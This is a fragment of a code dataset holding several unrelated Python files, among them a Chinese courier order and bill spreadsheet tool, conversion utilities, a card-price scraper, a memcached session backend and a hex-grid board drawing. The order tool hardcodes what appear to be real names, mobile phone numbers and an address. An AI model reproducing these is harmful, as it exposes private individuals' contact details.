u'总退回',\n sorted(list(whole_order_dict[\"whole_reject_set\"])))\n\n return len(finanical_order_dict[\"receive_list\"]) + len(finanical_order_dict[\"reject_list\"]), file_count\n\ndef ProcessRowBackOrderToBackOrder(path = u'待处理回单'):\n file_list = GetFileList(path)\n if len(file_list) == 0:\n log.error(\"can not find file in path:%s\", path)\n return 0\n\n for file in file_list:\n log.info(\"open file: %s\", file)\n\n rd_workbook = open_workbook(file)\n wt_workbook = xlwt.Workbook()\n head_list = [u\"快递单号\", u\"收件人姓名\", u\"收件人省\", u\"收件人市\", u\"收件人区\", u\"收件人地址\", u\"收件人电话\", u\"发件人姓名\", u\"备注\"]\n\n for rd_sheet in rd_workbook.sheets():\n\n number_of_rows = rd_sheet.nrows\n number_of_columns = rd_sheet.ncols\n\n rd_head_list = []\n\n if (number_of_rows <= 0 or number_of_columns <= 0):\n continue\n\n wt_sheet = wt_workbook.add_sheet(rd_sheet.name)\n\n for column in range(number_of_columns) :\n rd_head_list.append(rd_sheet.cell(0, column).value)\n\n for index, item in enumerate(head_list) :\n wt_sheet.write(0, index, item)\n\n for row in range(1, number_of_rows) :\n wt_sheet.write(row, head_list.index(u\"快递单号\"), rd_sheet.cell(row, rd_head_list.index(u\"快递单号\")).value)\n wt_sheet.write(row, head_list.index(u\"收件人姓名\"), rd_sheet.cell(row, rd_head_list.index(u\"收件人姓名\")).value)\n wt_sheet.write(row, head_list.index(u\"收件人省\"), rd_sheet.cell(row, rd_head_list.index(u\"收件人省\")).value)\n wt_sheet.write(row, head_list.index(u\"收件人市\"), rd_sheet.cell(row, rd_head_list.index(u\"收件人市\")).value)\n wt_sheet.write(row, head_list.index(u\"收件人区\"), rd_sheet.cell(row, rd_head_list.index(u\"收件人区\")).value)\n wt_sheet.write(row, head_list.index(u\"收件人地址\"), rd_sheet.cell(row, rd_head_list.index(u\"收件人地址\")).value)\n wt_sheet.write(row, head_list.index(u\"收件人电话\"), rd_sheet.cell(row, rd_head_list.index(u\"收件人电话\")).value)\n wt_sheet.write(row, head_list.index(u\"发件人姓名\"), rd_sheet.cell(row, rd_head_list.index(u\"发件人姓名\")).value)\n wt_sheet.write(row, head_list.index(u\"备注\"), rd_sheet.cell(row, rd_head_list.index(u\"备注\")).value)\n\n path = os.path.join(u'已处理回单', u'已处理回单_' + PathLeaf(file))\n wt_workbook.save(path)\n log.debug(\"write file: %s\", path)\n return len(file_list)\n\n\n\ndef ProcessRowBackOrderToRecordOrder(path = u'待处理回单'):\n file_list = GetFileList(path)\n if len(file_list) == 0:\n log.error(\"can not find file in path:%s\", path)\n return 0\n\n elem_list = [u'小李', '17090152657', u'河南', u'信阳', u'浉河区', u'河南信阳市浉河区平西涵洞', u'张海霞', '15293143927', u'甘肃省', u'兰州市', u'榆中县', u'详情见面单', u'物品', 0, 0]\n\n for file in file_list:\n log.info(\"open file: %s\", file)\n\n wt_workbook = xlwt.Workbook()\n wt_sheet = wt_workbook.add_sheet(\"sheet1\")\n\n rd_workbook = open_workbook(file)\n # head_list = [u\"快递单号\", u\"收件人姓名\", u\"收件人省\", u\"收件人市\", u\"收件人区\", u\"收件人地址\", u\"收件人电话\", u\"发件人姓名\", u\"备注\"]\n\n for rd_sheet in rd_workbook.sheets():\n\n number_of_rows = rd_sheet.nrows\n number_of_columns = rd_sheet.ncols\n\n if (number_of_rows <= 0 or number_of_columns <= 0):\n continue\n\n rd_head_list = []\n for column in range(number_of_columns) :\n rd_head_list.append(rd_sheet.cell(0, column).value)\n\n # for index, item in enumerate(head_list) :\n # wt_sheet.write(0, index, item)\n\n for row in range(1, number_of_rows) :\n wt_sheet.write(row, 0, rd_sheet.cell(row, rd_head_list.index(u\"快递单号\")).value)\n\n for idx, elem in enumerate(elem_list):\n wt_sheet.write(row, idx + 2, elem)\n\n wt_sheet.write(row, 17, rd_sheet.cell(row, rd_head_list.index(u\"代收货款\")).value)\n\n path = os.path.join(u'录单', u'录单_' + PathLeaf(file))\n wt_workbook.save(path)\n log.info(\"finish WriteXls: %s, element numbers is: %s\", path, number_of_rows)\n return len(file_list)\n\ndef ParseBackOrderToBill(path = u'已处理回单') :\n log.info(\"ParseBackOrderToBill, path:%s\", path)\n\n file_list = GetFileList(path)\n if len(file_list) == 0:\n log.error(\"can not find file in path:%s\", path)\n\n whole_order_dict = GetWholeOrderSet(u'签收退回总订单号')\n\n for file in file_list:\n log.info(\"open file: %s\", file)\n\n # get order book list\n order_list = []\n order_receive_list = []\n order_reject_list = []\n order_unknown_list = []\n rd_workbook = open_workbook(file)\n for sheet in rd_workbook.sheets():\n number_of_rows = sheet.nrows\n number_of_columns = sheet.ncols\n\n if (number_of_rows <= 0 or number_of_columns <= 0):\n continue\n\n for row in range(1, number_of_rows) :\n values = []\n\n for col in range(number_of_columns) :\n value = sheet.cell(row,col).value\n if (type(value) is unicode or type(value) is str):\n value = value.replace(u'\\xa0', \"\").replace(u\" \", \"\").replace(u'\\uff0c',\"\").replace(u\",\",\"\")\n values.append(value)\n\n order = Order(*values)\n order_list.append(order)\n\n if len(order_list) <= 0 :\n continue\n\n log.debug(\"get order_list number:%d\", len(order_list))\n\n for order in order_list:\n log.debug(order)\n break\n\n # check order status\n for order in order_list:\n if order.order_ID in whole_order_dict[\"whole_receive_set\"]:\n order_receive_list.append(order)\n elif order.order_ID in whole_order_dict[\"whole_reject_set\"]:\n order_reject_list.append(order)\n else:\n order_unknown_list.append(order)\n\n # write order to bill xls\n wt_workbook = xlwt.Workbook()\n\n sheet = wt_workbook.add_sheet(u'总汇')\n for index, item in enumerate([u'客户编码', u'发货日期', u'总发货量', u'签收件', u'退回件', u'无状态']) :\n sheet.write(0, index, item)\n\n sheet.write(1, 0, order_list[0].ID)\n sheet.write(1, 1, order_list[0].date)\n sheet.write(1, 2, len(order_list))\n sheet.write(1, 3, len(order_receive_list))\n sheet.write(1, 4, len(order_reject_list))\n sheet.write(1, 5, len(order_unknown_list))\n\n wt_workbook = WriteOrderToSheet(wt_workbook, u'签收件', order_receive_list)\n wt_workbook = WriteOrderToSheet(wt_workbook, u'退回件', order_reject_list)\n wt_workbook = WriteOrderToSheet(wt_workbook, u'无状态', order_unknown_list)\n\n # write bill file\n path = os.path.join(u'账单', u'账单_' + PathLeaf(file))\n wt_workbook.save(path)\n log.info(\"finish WriteXls: %s, row numbers: %d\", path, len(order_list))\n return len(file_list)\n\ndef TestWriteXLS(end_num):\n wt_workbook = xlwt.Workbook()\n wt_sheet = wt_workbook.add_sheet(\"test1\")\n\n for i, elem in enumerate(range(1, end_num)):\n wt_sheet.write(i, 1, elem)\n\n wt_workbook.save(\"test.xls\")\n\n\ndef Start() :\n while (True):\n log.info(\"\\n\\n\\n\")\n log.info(\"*******************************\")\n log.info(u\"1. 将财务订单号导入总订单号\")\n log.info(u\"2. 将系统导出回单处理成回单\")\n log.info(u\"3. 将回单处理成账单\")\n log.info(u\"4. 将回单处理成录单\")\n log.info(u\"5. 1->2->3->4 依次完成\")\n log.info(u\"6. 退出\")\n log.info(\"*******************************\")\n log.info(u\"输入你想选择的功能(1 ~ 6):\")\n\n try :\n choose_num = int(raw_input())\n log.info(\"\\n\\n\\n\")\n\n log.info(u'你的选择是: %d', choose_num)\n\n if (choose_num == 1):\n log.info(u\"1. 将财务订单号导入总订单号 开始.\")\n input_num, file_num = AddFinancialOrderToWholeOrderList()\n log.info(u\"1. 将财务订单号导入总订单号 完成, 导入数量: %d, 导入文件数: %d\", input_num, file_num)\n\n elif (choose_num == 2):\n log.info(u\"2. 将系统导出回单处理成回单 开始.\")\n file_num = ProcessRowBackOrderToBackOrder()\n log.info(u\"2. 将系统导出回单处理成回单 完成, 处理文件数:%d\", file_num)\n\n elif (choose_num == 3):\n log.info(u\"3. 将回单处理成账单 开始.\")\n file_num = ParseBackOrderToBill()\n log.info(u\"3. 将回单处理成账单 完成, 处理文件数:%d\", file_num)\n\n elif (choose_num == 4):\n log.info(u\"4. 将回单处理成录单 开始.\")\n file_num = ProcessRowBackOrderToRecordOrder()\n log.info(u\"4. 将回单处理成录单 完成, 处理文件数:%d\", file_num)\n\n elif (choose_num == 5):\n log.info(u\"1. 将财务订单号导入总订单号 开始.\")\n input_num, file_num = AddFinancialOrderToWholeOrderList()\n log.info(u\"1. 将财务订单号导入总订单号 完成, 导入数量: %d, 导入文件数: %d\", input_num, file_num)\n log.info(\"\\n\\n\")\n\n log.info(u\"2. 将系统导出回单处理成回单 开始.\")\n file_num = ProcessRowBackOrderToBackOrder()\n log.info(u\"2. 将系统导出回单处理成回单 完成, 处理文件数:%d\", file_num)\n log.info(\"\\n\\n\")\n\n log.info(u\"3. 将回单处理成账单 开始.\")\n file_num = ParseBackOrderToBill()\n log.info(u\"3. 将回单处理成账单 完成, 处理文件数:%d\", file_num)\n log.info(\"\\n\\n\")\n\n log.info(u\"4. 将回单处理成录单 开始.\")\n file_num = ProcessRowBackOrderToRecordOrder()\n log.info(u\"4. 将回单处理成录单 完成, 处理文件数:%d\", file_num)\n\n elif (choose_num == 6):\n break\n else:\n log.info(u'输入非法, 请输入数字: 1~6')\n continue\n except Exception:\n log.error(\"Got exception on ParseSheetToList:%s\", traceback.format_exc() )\n continue\n\n\nif __name__ == \"__main__\":\n Start()\n\n\n\n","sub_path":"order_analysis.py","file_name":"order_analysis.py","file_ext":"py","file_size_in_byte":20514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"542778805","text":"import typing\n\n\n\ndef le_bytes_to_int(as_bytes: bytes, signed: bool) -> int:\n \"\"\"Converts a little endian byte array to an integer.\n\n :param as_bytes: A little endian encoded byte array integer.\n :param signed: Flag indicating whether integer is signed.\n\n \"\"\"\n return int.from_bytes(as_bytes, byteorder='little', signed=signed) \n\n\ndef int_to_le_bytes(x: int, length: int, signed: bool) -> bytes:\n \"\"\"Converts an integer to a little endian byte array.\n\n :param x: An integer to be mapped.\n :param length: Length of mapping output.\n :param signed: Flag indicating whether integer is signed.\n\n \"\"\"\n if not isinstance(x, int):\n x = int(x)\n\n return bytes([i for i in x.to_bytes(length, 'little', signed=signed)])\n\n\ndef int_to_le_bytes_trimmed(x: int, length: int, signed: bool) -> bytes:\n \"\"\"Converts an integer to a little endian byte array with trailing zeros removed.\n\n :param x: An integer to be mapped.\n :param length: Length of mapping output.\n :param signed: Flag indicating whether integer is signed.\n\n \"\"\" \n value = int_to_le_bytes(x, length, signed)\n while value[-1] == 0:\n value = value[0:-1]\n \n return value or bytes([0])\n\n\ndef humanized_time_interval_to_milliseconds(interval: str) -> int: \n \"\"\"Converts a human readable time interval to milliseconds.\n\n :param interval: A human readable time interval. \n :returns: Time interval in milliseconds.\n\n \"\"\"\n interval = interval.lower()\n try:\n int(interval)\n except ValueError:\n ...\n else:\n return int(interval)\n\n if interval.endswith(\"ms\"):\n return int(interval[0:-2])\n if interval.endswith(\"s\"):\n return int(interval[0:-1]) * (1000)\n if interval.endswith(\"m\"):\n return int(interval[0:-1]) * (60 * 1000)\n print(\"TODO: convert m\")\n if interval.endswith(\"h\"):\n return int(interval[0:-1]) * (60 * 60 * 1000)\n print(\"TODO: convert h\")\n if interval.endswith(\"day\"):\n return int(interval[0:-3]) * (24 * 60 * 60 * 1000)\n\n raise ValueError(\"Unsupported humanized time interval\")\n\n\ndef milliseconds_to_humanized_time_interval(interval: int):\n \"\"\"Converts milliseconds to a human readable time interval.\n \n :param interval: Time interval in milliseconds. \n :returns: A human readable time interval.\n\n \"\"\"\n pass\n","sub_path":"pycspr/utils/conversion.py","file_name":"conversion.py","file_ext":"py","file_size_in_byte":2366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"48189041","text":"import json\nimport requests\nfrom bs4 import BeautifulSoup as B\nfrom standardize_sets import Standardize\n\nstd = Standardize()\n\ndef get_scg_inventory():\n card_dict = {}\n page = 3600\n total_pages = 3800#448 * 200\n page_count = 1\n while page <= total_pages:\n try:\n url = 'http://www.starcitygames.com/results?&numpage=200&display=3&startnum=' + str(page)\n\n r = requests.get(url).content\n soup = B(r, 'html.parser')\n\n # Get table that contains buylist data and filter out results that == NOne\n table = soup.find('table', {'id': 'search_results_table'})\n table = table.find_all('tr')\n table = [i for i in table if i.get('class') != None]\n\n # While loop to loop over each row of card data\n count = 0\n while count < len(table):\n\n # Create card varaibles and filter out every other row which == None\n stock = table[count].find('td', {'class': 'deckdbbody search_results_8'})\n if stock != None:\n stock = table[count].find('td', {'class': 'deckdbbody search_results_8'}).text.strip()\n else:\n try:\n stock = table[count].find('td', {'class': 'deckdbbody2 search_results_8'}).text.strip()\n except AttributeError:\n pass\n price = table[count].find('td', {'class': 'deckdbbody search_results_9'})\n if price != None:\n price = table[count].find('td', {'class': 'deckdbbody search_results_9'}).text.strip()\n else:\n try:\n price = table[count].find('td', {'class': 'deckdbbody2 search_results_9'}).text.strip()\n except AttributeError:\n pass\n expansion = table[count].find('td', {'class': 'deckdbbody search_results_2'})\n if expansion != None:\n expansion = std.expansion(table[count].find('td', {'class': 'deckdbbody search_results_2'}).text.strip())\n\n else:\n try:\n expansion = std.expansion(table[count].find('td', {'class': 'deckdbbody2 search_results_2'}).text.strip())\n except AttributeError:\n pass\n\n\n\n # Create variable to check if key already in dictionary. If it's not, create it. Else, continue\n try:\n info = table[count].a.text.strip()\n if info not in ['PL', 'HP']:\n t = card_dict.get(expansion)\n if t == None:\n card_dict[expansion] = {}\n card_dict[expansion][info] = {\n 'nm': {'stock': 'Out of Stock', 'price': None},\n 'pl': {'stock': 'Out of Stock', 'price': None},\n }\n\n # Update dictionary ith price and stock\n card_dict[expansion][info]['nm']['stock'] = stock\n card_dict[expansion][info]['nm']['price'] = price\n\n\n else:\n try:\n if info == 'PL':\n e = table[count-1].find('td', {'class': 'deckdbbody search_results_2'})\n if e != None:\n e = table[count-1].find('td', {'class': 'deckdbbody search_results_2'}).text.strip()\n else:\n try:\n e = table[count-1].find('td', {'class': 'deckdbbody2 search_results_2'}).text.strip()\n except IndexError as error:\n print(error)\n except AttributeError as error:\n print(e, error)\n try:\n card_dict[e][table[count-1].a.text.strip()]['pl']['stock'] = stock\n card_dict[e][table[count-1].a.text.strip()]['pl']['price'] = price\n except KeyError as error:\n print(error)\n except IndexError as error:\n print(error)\n\n '''try:\n if info == 'HP':\n e = table[count-2].find('td', {'class': 'deckdbbody search_results_2'})\n if e != None:\n e = table[count-2].find('td', {'class': 'deckdbbody search_results_2'}).text.strip()\n else:\n try:\n e = table[count-2].find('td', {'class': 'deckdbbody2 search_results_2'}).text.strip()\n except IndexError as error:\n print(error)\n except AttributeError as error:\n print(e, error)\n try:\n card_dict[e][table[count-2].a.text.strip()]['pl']['stock'] = stock\n card_dict[e][table[count-2].a.text.strip()]['pl']['price'] = price\n except KeyError as error:\n print(error)\n except IndexError as error:\n print(error)'''\n except AttributeError as error:\n print(error)\n count += 1\n\n print(page_count)\n page_count += 1\n page += 200\n except AttributeError as error:\n page += 200\n\n for k,y in card_dict.items():\n print(k, y)\n json.dump(card_dict, open('scg_store.json', 'w'))\nget_scg_inventory()\n'''x = json.load(open('scg_store.json'))\nprint(x['Alpha']['Living Wall'])'''\n","sub_path":"starcity_store.py","file_name":"starcity_store.py","file_ext":"py","file_size_in_byte":6167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"237747711","text":"#Задание утеряно\r\n#Метод хорд\r\n\r\nimport math \r\nnow=0.5 \r\nprevious=1 \r\nx0=math.pi/2 \r\nepsilon=0.5*10**(-5) \r\nn=0 \r\ndef f(xn): \r\n return math.sin(xn)+0.1-2*xn**2 \r\nfx0=f(x0) \r\nwhile abs(now-previous)>epsilon: \r\n previous=now \r\n now=now-f(now)*(now-x0)/(f(now)-fx0) \r\n n+=1 \r\nprint (now) \r\nprint (n) ","sub_path":"Метод хорд.py","file_name":"Метод хорд.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"186176138","text":"from machine import Pin\nfrom time import sleep\n\nled = Pin(2, Pin.OUT)\nbp = Pin(25, Pin.IN)\n\ncompt = 0 \nwhile True : \n if bp.value() : compt = 20 \n led.value(compt > 0) # si compt > 0, cela fait led.value(True) \n sleep(0.1)\n compt -= (compt > 0) # raccourci pour : compt = compt - (compt > 0)","sub_path":"tempo-eclairage-optimise.py","file_name":"tempo-eclairage-optimise.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"588971758","text":"\n\nfrom xai.brain.wordbase.nouns._cannonball import _CANNONBALL\n\n#calss header\nclass _CANNONBALLS(_CANNONBALL, ):\n\tdef __init__(self,): \n\t\t_CANNONBALL.__init__(self)\n\t\tself.name = \"CANNONBALLS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"cannonball\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_cannonballs.py","file_name":"_cannonballs.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"31382852","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2018-2021, earthobservations developers.\n# Distributed under the MIT License. See LICENSE for more info.\nfrom enum import Enum\n\nDWD_SERVER = \"https://opendata.dwd.de\"\nDWD_CDC_PATH = \"climate_environment/CDC/\"\n\nDWD_MOSMIX_S_PATH = \"weather/local_forecasts/mos/MOSMIX_S/all_stations/kml/\"\nDWD_MOSMIX_L_PATH = \"weather/local_forecasts/mos/MOSMIX_L/all_stations/kml/\"\nDWD_MOSMIX_L_SINGLE_PATH = \"weather/local_forecasts/mos/MOSMIX_L/single_stations/\"\n\n\nclass DWDCDCBase(Enum):\n CLIMATE_OBSERVATIONS = \"observations_germany/climate/\"\n\n\nDWD_FOLDER_MAIN = \"./dwd_data\"\nDWD_FOLDER_STATION_DATA = \"station_data\"\nDWD_FILE_STATION_DATA = \"dwd_station_data\"\nSTATION_ID_REGEX = r\"(?\n'''\n\nfrom django.conf import settings\nfrom django.contrib.sessions.backends.base import SessionBase, CreateError\nfrom newcache import CacheClass\n\n\nclass Cache(CacheClass):\n\n def __init__(self, server, params):\n super(Cache, self).__init__('', params)\n self._servers = server\n\n\nclass SessionStore(SessionBase):\n '''A memcached-based session store. Useful if you wish to use memcached as\n the session backend, but another cache method for general caching.\n\n This backend requires `django-newcache`_, and one of the following\n memcache libraries:\n\n * `pylibmc`_ (recommended)\n * `python-memcached`_\n\n .. _django-newcache: http://github.com/ericflo/django-newcache\n .. _pylibmc: http://pypi.python.org/pypi/pylibmc\n .. _python-memcached: http://pypi.python.org/pypi/python-memcached\n\n To use:\n\n * Set ``SESSION_ENGINE`` in ``settings.py`` to\n ``baph.sessions.backends.memcache``.\n * Set ``SESSION_MEMCACHE_SERVERS`` in ``settings.py`` to a list of one or\n more memcache servers that will be used.\n * If necessary, set the ``SESSION_MEMCACHE_SETTINGS`` variable in\n ``settings.py``. This is a dictionary populated with settings such as\n ``max_entries``.\n '''\n\n def __init__(self, session_key=None):\n session_memcache_settings = getattr(settings,\n 'SESSION_MEMCACHE_SETTINGS',\n {})\n self._cache = Cache(settings.SESSION_MEMCACHE_SERVERS,\n session_memcache_settings)\n super(SessionStore, self).__init__(session_key)\n\n def load(self):\n session_data = self._cache.get(self.session_key)\n if session_data is not None:\n return session_data\n self.create()\n return {}\n\n def create(self):\n # Because a cache can fail silently (e.g. memcache), we don't know if\n # we are failing to create a new session because of a key collision or\n # because the cache is missing. So we try for a (large) number of times\n # and then raise an exception. That's the risk you shoulder if using\n # cache backing.\n for i in xrange(10000):\n self.session_key = self._get_new_session_key()\n try:\n self.save(must_create=True)\n except CreateError:\n continue\n self.modified = True\n return\n raise RuntimeError(\"Unable to create a new session key.\")\n\n def save(self, must_create=False):\n if must_create:\n func = self._cache.add\n else:\n func = self._cache.set\n result = func(self.session_key, self._get_session(no_load=must_create),\n self.get_expiry_age())\n if must_create and not result:\n raise CreateError\n\n def exists(self, session_key):\n return session_key in self._cache\n\n def delete(self, session_key=None):\n if session_key is None:\n if self._session_key is None:\n return\n session_key = self._session_key\n self._cache.delete(session_key)\n","sub_path":"baph/sessions/backends/memcache.py","file_name":"memcache.py","file_ext":"py","file_size_in_byte":3356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"473763466","text":"from graphics import *\nimport math\n\n\ncolors = [\"black\", \"red\", \"blue\", \"green\", \"orange\", \"darkblue\", \"yellow\"]\n\nWIN_SIZE = 1000\n\n\ndef main():\n\n # FOR DEMO\n\n # rings = 2\n # size = 40\n\n win_center = Point(WIN_SIZE//2, WIN_SIZE//2)\n hex_size = 120\n hex_size_short = hex_size * math.sqrt(3) / 2\n\n # cir = Circle(win_center, hex_size) # circumscribed circle on center hex\n # cir.setFill(\"grey\")\n # cir.draw(win)\n done = Circle(Point(20, 20), 15)\n done.setOutline(\"red\")\n\n board = Board()\n board.place(win_center, hex_size)\n\n print()\n print(board)\n\n win = GraphWin(\"don't read this\", WIN_SIZE, WIN_SIZE, autoflush=False)\n done.draw(win)\n board.draw(win)\n win.update()\n win.autoflush = True\n\n click = win.getMouse()\n while not in_shape(done, click):\n board.get_vertex_click(click)\n board.get_hex_click(click)\n click = win.getMouse()\n\n win.close()\n\n\nclass Board:\n def __init__(self, rings=2):\n self.rings = rings\n hexes = [[None for i in range(rings*2+1)] for i in range(rings*2+1)]\n num = 0\n for q in range(-rings, rings+1):\n for r in range(max(-rings,-q-rings), min(rings, -q+rings)+1):\n hx_coord = Point(q, r)\n print(\"placing H {:2} in {:2} {:2}\".format(num, hx_coord.x, hx_coord.y), sep=\"\") # DEBUG\n if hexes[hx_coord.x][hx_coord.y] is not None: print(\"DUPLICATE\") # DEBUG\n hexes[hx_coord.x][hx_coord.y] = Hex(hx_coord)\n num += 1\n self.hexes = hexes\n\n print('\\n') # DEBUG\n\n rings *= 2\n vertices = [[None for i in range(rings*2+1)] for i in range(rings*2+1)]\n num = 0\n for q in range(-rings, rings+1):\n for r in range(max(-rings,-q-rings), min(rings, -q+rings)+1):\n vx_coord = Point(q, r)\n print(\"placing V {:2} in {:2} {:2}\".format(num, vx_coord.x, vx_coord.y), sep=\"\") # DEBUG\n if vertices[vx_coord.x][vx_coord.y] is not None: print(\"DUPLICATE\") # DEBUG\n vertices[vx_coord.x][vx_coord.y] = Vertex(vx_coord)\n num += 1\n\n self.vertices = vertices\n\n print(\"\\n\") # DEBUG\n\n def place(self, center, hex_size):\n self.hex_size = hex_size\n self.center = center\n self.hex_size_short = hex_size * math.sqrt(3) / 2\n # self.vertex_size = (hex_size-hex_size_short)*2 # 3\n\n for hex_row in self.hexes:\n for hex in hex_row:\n if hex is not None:\n hex.place(self.center, self.hex_size)\n for v_row in self.vertices:\n for v in v_row:\n if v is not None:\n v.place(self.center, self.hex_size)\n def replace(self, win, center, hex_size):\n self.undraw()\n self.place(center, hex_size)\n self.draw(win)\n\n def draw(self, win):\n for hex_row in self.hexes:\n for hex in hex_row:\n if hex is not None:\n # hex.setColor(\"light gray\")\n hex.draw(win)\n for v_row in self.vertices:\n for v in v_row:\n if v is not None:\n v.draw(win)\n def undraw(self):\n for hex_row in self.hexes:\n for hex in hex_row:\n if hex is not None:\n # hex.setColor(\"light gray\")\n hex.undraw()\n for v_row in self.vertices:\n for v in v_row:\n if v is not None:\n v.undraw()\n\n def get_hex_click(self, click):\n for h_row in self.hexes:\n for h in h_row:\n if h is not None and h.is_click_in(click):\n h.setColor(\"red\")\n time.sleep(.35)\n h.setColor(\"black\")\n # where = pixel_to_hex(self.center, self.hex_size, click.getX(), click.getY())\n # print('(',where.x, ', ', where.y, ')', sep=\"\", end=\" \") # DEBUG\n # print('(',click.x, ', ', click.y, ')', sep=\"\") # DEBUG\n # if self.hexes[where.x][where.y] is not None:\n # self.hexes[where.x][where.y].setColor(\"red\")\n # time.sleep(.35)\n # self.hexes[where.x][where.y].setColor()#\"light gray\")\n def get_vertex_click(self, click):\n for v_row in self.vertices:\n for v in v_row:\n if v is not None and v.is_click_in(click):\n v.setColor(\"red\")\n time.sleep(.35)\n v.setColor()\n # where = pixel_to_vertex(self.center, self.hex_size, click.getX(), click.getY())\n # print('(',where.x, ', ', where.y, ')', sep=\"\", end=\" \") # DEBUG\n # print('(',click.x, ', ', click.y, ')', sep=\"\") # DEBUG\n # if self.vertices[where.x][where.y] is not None:\n # self.vertices[where.x][where.y].setColor(\"red\")\n # time.sleep(.35)\n # self.vertices[where.x][where.y].setColor()#\"light gray\")\n\n def __str__(self):\n prt = \"\"\n for r in self.hexes:\n for q in r:\n if q is not None:\n prt += q.__str__() + \" \"\n else:\n prt += \" .. \"\n prt += '\\n'\n prt += '\\n\\n'\n for r in self.vertices:\n for q in r:\n if q is not None:\n prt += q.__str__() + \" \"\n else:\n prt += \" .. \"\n prt += '\\n'\n return prt\n\n\nclass Hex:\n def __init__(self, hx_coord, resource=None):\n self.resource = resource\n self.hx_coord = hx_coord\n self.text = str(hx_coord.x) + \", \" + str(hx_coord.y)\n self.center = None\n\n def __str__(self):\n return \"({:2},{:2})\".format(self.hx_coord.x, self.hx_coord.y)\n\n def place(self, grid_center, size, color=\"black\"):\n self.size = size\n self.size_short = size * math.sqrt(3) / 2\n\n self.center = hex_to_pixel(grid_center, size, self.hx_coord.x, self.hx_coord.y)\n self.poly = Polygon(jump_linear(self.center, 0, size),\n jump_linear(self.center, 60, size),\n jump_linear(self.center, 120, size),\n jump_linear(self.center, 180, size),\n jump_linear(self.center, 240, size),\n jump_linear(self.center, 300, size))\n self.cir = Circle(self.center, self.size_short)\n self.cir_big = Circle(self.center, self.size)\n self.txt = Text(self.center, self.text)\n self.txt.setSize(max(size//5, 5))\n\n def draw(self, win):\n if self.center is not None:\n self.poly.draw(win)\n self.cir.draw(win)\n self.txt.draw(win)\n # self.cir_big.draw(win)\n def undraw(self):\n if self.center is not None:\n self.poly.undraw()\n self.cir.undraw()\n self.txt.undraw()\n # self.cir_big.draw(win)\n\n def is_click_in(self, point):\n x, y = point.getX(), point.getY()\n cx, cy = self.center.getX(), self.center.getY()\n # if radius < distance\n if self.size_short**2 > (cx-x)**2 + (cy-y)**2:\n return True\n return False\n\n def setColor(self, color=\"black\"):\n if self.center is not None:\n self.cir.setOutline(color)\n self.poly.setOutline(color)\n self.txt.setTextColor(color)\n def setText(self, text):\n self.text = text\n self.txt.setText(text)\n\n\nclass Vertex:\n def __init__(self, vx_coord):\n self.vx_coord = vx_coord\n self.text = str(vx_coord.x) + \", \" + str(vx_coord.y)\n\n def __str__(self):\n return \"({:2},{:2})\".format(self.vx_coord.x, self.vx_coord.y)\n\n def place(self, grid_center, size):\n self.size = size\n self.size_short = size * math.sqrt(3) / 2\n self.vertex_size = size//4\n self.vertex_size_short = self.vertex_size * math.sqrt(3) / 2\n\n self.center = vertex_to_pixel(grid_center, self.size_short*2//3, self.vx_coord.x, self.vx_coord.y)\n # self.center = vertex_to_pixel(grid_center, self.size_short, self.vx_coord.x, self.vx_coord.y)\n self.poly = Polygon(jump_linear(self.center, 30, self.vertex_size),\n jump_linear(self.center, 90, self.vertex_size),\n jump_linear(self.center, 150, self.vertex_size),\n jump_linear(self.center, 210, self.vertex_size),\n jump_linear(self.center, 270, self.vertex_size),\n jump_linear(self.center, 330, self.vertex_size))\n self.cir_center = Circle(self.center, 3)\n self.cir = Circle(self.center, self.vertex_size_short)\n self.cir_big = Circle(self.center, self.size)\n self.txt = Text(self.center, self.text)\n self.txt.setSize(int(max(min(self.vertex_size//2, 32), 5)))\n \n def draw(self, win):\n # self.poly.draw(win)\n self.cir.draw(win)\n # self.txt.draw(win)\n self.cir_center.draw(win)\n # self.cir_big.draw(win)\n def undraw(self, ):\n # self.poly.undraw()\n self.cir.undraw()\n # self.txt.undraw()\n self.cir_center.undraw()\n # self.cir_big.undraw()\n\n def is_click_in(self, point):\n x, y = point.getX(), point.getY()\n cx, cy = self.center.getX(), self.center.getY()\n # if radius < distance\n if self.vertex_size_short**2 > (cx-x)**2 + (cy-y)**2:\n return True\n return False\n def setColor(self, color=\"black\"):\n self.cir.setOutline(color)\n self.poly.setOutline(color)\n def setText(self, text):\n self.text = text\n self.txt.setText(text)\n\n\n\ndef in_shape(cir, point):\n x, y = point.getX(), point.getY()\n cx, cy = cir.getCenter().getX(), cir.getCenter().getY()\n # if radius < distance\n if cir.getRadius()**2 > (cx-x)**2 + (cy-y)**2:\n return True\n return False\n\ndef jump_linear(point, angle, distance):\n # Calculates cartesian coordinates of destination,\n # given origin, angle to travel, and distance to travel\n x, y = point.getX(), point.getY()\n x += distance * math.cos(math.radians(angle))\n y -= distance * math.sin(math.radians(angle))\n return Point(x, y)\n\ndef jump_hex(point, size, r, q):\n # Calculates cartesian coordinates of destination,\n # given cartesian origin coordinates and a hexagonal travel vector\n x, y = point.getX(), point.getY()\n qr_x = r * size * 3 / 2\n qr_y = size * math.sqrt(3) * (q + r / 2)\n return Point(x + qr_x, y + qr_y)\n\n\ndef pixel_to_hex(center, size, x, y):\n # calculates axial coordinates, given x,y coordinates and coordinates\n # of the central hex\n cx, cy = center.getX(), center.getY()\n q = (x-cx) * 2/3 / size\n r = (-(x-cx) / 3 + math.sqrt(3)/3 * (y-cy)) / size\n q = math.floor(q+.5) if q > 0 else math.ceil(q-.5)\n r = math.floor(r+.5) if r > 0 else math.ceil(r-.5)\n return Point(q, r)\n\ndef pixel_to_vertex(center, size, x, y):\n # calculates axial coordinates, given x,y coordinates and coordinates\n # of the central hex\n cx, cy = 